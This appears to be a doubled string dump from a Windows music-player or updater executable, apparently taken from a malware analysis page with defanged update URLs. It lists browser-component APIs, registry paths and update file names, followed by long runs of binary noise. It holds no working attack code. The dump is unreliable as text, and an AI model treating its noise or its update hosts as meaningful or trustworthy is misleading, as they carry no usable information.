HTTPS
HTTPS
https
https
This request method is supported in HTTP 1.1
This request method is supported in HTTP 1.1
HTTP/1.0 200 OK
HTTP/1.0 200 OK
HTTP/
HTTP/
grfKeyState
grfKeyState
TComTargetExecEvent
TComTargetExecEvent
CmdGroup
CmdGroup
nCmdID
nCmdID
nCmdexecopt
nCmdexecopt
hhctrl.ocx
hhctrl.ocx
URLMON.DLL
URLMON.DLL
SHDOCLC.DLL
SHDOCLC.DLL
IWebBrowser
IWebBrowser
IWebBrowserApph
IWebBrowserApph
IWebBrowser2
IWebBrowser2
TEWBWindowSetResizable
TEWBWindowSetResizable
TEWBWindowSetLeft
TEWBWindowSetLeft
TEWBWindowSetTop
TEWBWindowSetTop
TEWBWindowSetWidth
TEWBWindowSetWidth
TEWBWindowSetHeight
TEWBWindowSetHeight
bstrUrlContext
bstrUrlContext
bstrUrl
bstrUrl
OnWindowSetResizable
OnWindowSetResizable
OnWindowSetLeft
OnWindowSetLeft
OnWindowSetTopT
OnWindowSetTopT
OnWindowSetWidth
OnWindowSetWidth
OnWindowSetHeight
OnWindowSetHeight
rcmDefault
rcmDefault
rcmDebug
rcmDebug
DontExecuteScripts
DontExecuteScripts
DontExecuteJava
DontExecuteJava
DontExecuteActiveX
DontExecuteActiveX
DisableUrlIfEncodingUTF8
DisableUrlIfEncodingUTF8
EnableUrlIfEncodingUTF8
EnableUrlIfEncodingUTF8
CheckFontSupportsCodePage
CheckFontSupportsCodePage
DisableSubmitUrlInUTF8
DisableSubmitUrlInUTF8
EnableSubmitUrlInUTF8
EnableSubmitUrlInUTF8
lpMsg
lpMsg
PMsg
PMsg
pguidCmdGroup
pguidCmdGroup
TTranslateUrlEvent
TTranslateUrlEvent
pchURLIn
pchURLIn
ppchURLOut
ppchURLOut
CmdID
CmdID
pszUrl
pszUrl
pszUrlContext
pszUrlContext
szPassWord
szPassWord
ErrorUrl
ErrorUrl
OptionKeyPath
OptionKeyPath
OverrideOptionKeyPath`
OverrideOptionKeyPath`
OnTranslateUrl
OnTranslateUrl
OnCommandExec
OnCommandExec
'%s' is not supported.
'%s' is not supported.
WebocPopupManagement
WebocPopupManagement
ValidateNavigateUrl
ValidateNavigateUrl
HttpUsernamePasswordDisable
HttpUsernamePasswordDisable
GetUrlDomFilePathUnencoded
GetUrlDomFilePathUnencoded
XmlHttp
XmlHttp
MAPI32.DLL
MAPI32.DLL
PTF://
PTF://
hXXp://
hXXp://
hXXps://
hXXps://
AppEvents\Schemes\Apps\Explorer\Navigating\.Current
AppEvents\Schemes\Apps\Explorer\Navigating\.Current
.Current
.Current
\ieframe.dll
\ieframe.dll
\shdocvw.dll
\shdocvw.dll
\StringFileInfo\%0.4x%0.4x\%s
\StringFileInfo\%0.4x%0.4x\%s
TMsgEvent
TMsgEvent
TKeyEventEx
TKeyEventEx
Bypass
Bypass
poPortrait
poPortrait
OnKeyDown
OnKeyDown
0.750000
0.750000
3333333
3333333
\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent
\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent
\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)(
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)(
EmbeddedWB hXXp://bsalsa.com/
EmbeddedWB hXXp://bsalsa.com/
TFileOperation
TFileOperation
FileOperation
FileOperation
OnActionExecute
OnActionExecute
SysConfig.ini
SysConfig.ini
WJHTTP
WJHTTP
%d.%d
%d.%d
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
0123456789
0123456789
DSound.dll
DSound.dll
Winmm.dll
Winmm.dll
Data\User2.ini
Data\User2.ini
88888888
88888888
Update.zip
Update.zip
00000000
00000000
YYMusic05.exe
YYMusic05.exe
DMSet.Xml
DMSet.Xml
/DM11/DMSet.Xml
/DM11/DMSet.Xml
hXXp://VVV.baidu.com
hXXp://VVV.baidu.com
hXXp://update.yinyue.fm
hXXp://update.yinyue.fm
8888-88-88
8888-88-88
PlayerUpdate.exe
PlayerUpdate.exe
0000-00-00
0000-00-00
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
[(*&^%$#@!)]
[(*&^%$#@!)]
?456789:;
?456789:;
!"#$%&'()* ,-./0123
!"#$%&'()* ,-./0123
Nv.QbD
Nv.QbD
{Z|.qktg
{Z|.qktg
)sVk.eU
)sVk.eU
?:4.al\u
?:4.al\u
ac.Rp
ac.Rp
U%U,f
U%U,f
ù%"
ù%"
6QZ.kkE!^\
6QZ.kkE!^\
.Cee,Wm
.Cee,Wm
AKLRUXZZjjjjjjjjmjjZZXURLK"
AKLRUXZZjjjjjjjjmjjZZXURLK"
%S_dikkggggk
%S_dikkggggk
%Uagkk`F9?nA>H^
%Uagkk`F9?nA>H^
333333333333333333
333333333333333333
33333833
33333833
3333339
3333339
3333333333333338
3333333333333338
:*"*"$3338
:*"*"$3338
33333333
33333333
33333333333
33333333333
3333333333338
3333333333338
33338?383
33338?383
333333333333
333333333333
:*3:"$3338
:*3:"$3338
333333333333333
333333333333333
@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(
@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(
@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(
@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(@4(
=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'
=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'
=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'
=4'=4'=4'=4'=4'=4'=4'=4'=4'=4'
@4(@4(@4(@4(@4(@4(=4'=4'=4'=4'=4'
@4(@4(@4(@4(@4(@4(=4'=4'=4'=4'=4'
=4'=4'=4'=4'=4'
=4'=4'=4'=4'=4'
peWO@0RD.NA1
peWO@0RD.NA1
N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.N?/M>.PA1
N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.N?/M>.PA1
NA1PA.OA/
NA1PA.OA/
OA.SB-O@0OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2SC3RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2RB1SC2RB1RB1QA0RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2TD3TD3TD3TD3TD3TD3TD3TD3TD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3UC2UC2UC2UC2UC2TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3WF3WF3WF3WF3WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5XI6XI6VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4YH5YH5XG4XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]J5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^L5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^I3^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3_K2`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3aM4aM4aM4aM4aM4aM4aM4aM4cM4cM4cM4cM4cM4
OA.SB-O@0OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2SC3RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1QA1RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB2RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2RB1SC2RB1RB1QA0RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1RB1SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2SC2TD3TD3TD3TD3TD3TD3TD3TD3TD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3UC2UC2UC2UC2UC2TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3VD3WF3WF3WF3WF3WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5XF5VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5WH5XI6XI6VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4VG4YH5YH5XG4XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2XG2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2[I2\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3\J3]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]J5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^L5]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4]K4^I3^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1^J1^J1^J1^J1^J1^J1^J1_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2_K2^J1`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3_K2`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3`L3aM4aM4aM4aM4aM4aM4aM4aM4cM4cM4cM4cM4cM4
zoaI>0K=1M=0M>.kbX
zoaI>0K=1M=0M>.kbX
RH>J=/J=/J=/J=/K>0J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/L=-L=-L=-L=-L>,L>,L=-L=-L=-L=-L=-M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2TE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XG4WF3WF3YE3XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1[F1]F0]F0
RH>J=/J=/J=/J=/K>0J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/J=/L=-L=-L=-L=-L>,L>,L=-L=-L=-L=-L=-M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0O@0N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/N@.N@.N@.N@.N@.N@.N@.OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/OA/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0P@/P@/P@/P@/P@/P@/P@/P@/QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0QA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1TB1UC2UC2UC2UC2UC2UC2UC2UC2UC2UC2UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1UD1VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2TE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2VE2WF3WF3VE2VE2VE2VE2VE2VE2WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3WF3XG4XG4WF3WF3YE3XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0XE0YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1YF1[F1]F0]F0
g]SF9 E8*E8*E8*E8*F9 E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*E8*F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,E:,E:,G:,G:,G:,F9 F9 F9 F9 F9 F9 F9 F9 G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:,G:*H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; H; I.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.M>.N?/N?/N?/N?/N?/N?/N?/N?/N?/N?/O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.N>-N>-N>-O?.O?.O?.O?.O?.O?.O?.O?.O?.O?.P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/P@/RA.RA.R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/SA0SA0SA0SA0SA0TB1TB1TB1TB1TB1TB1TB1TB1SA0SA0SA0SA0SA0SA0SA0SA0R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/R@/P@/P@/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/QB/QB/QB/QB/QB/QB/QB/QB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/SB/RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.RA.R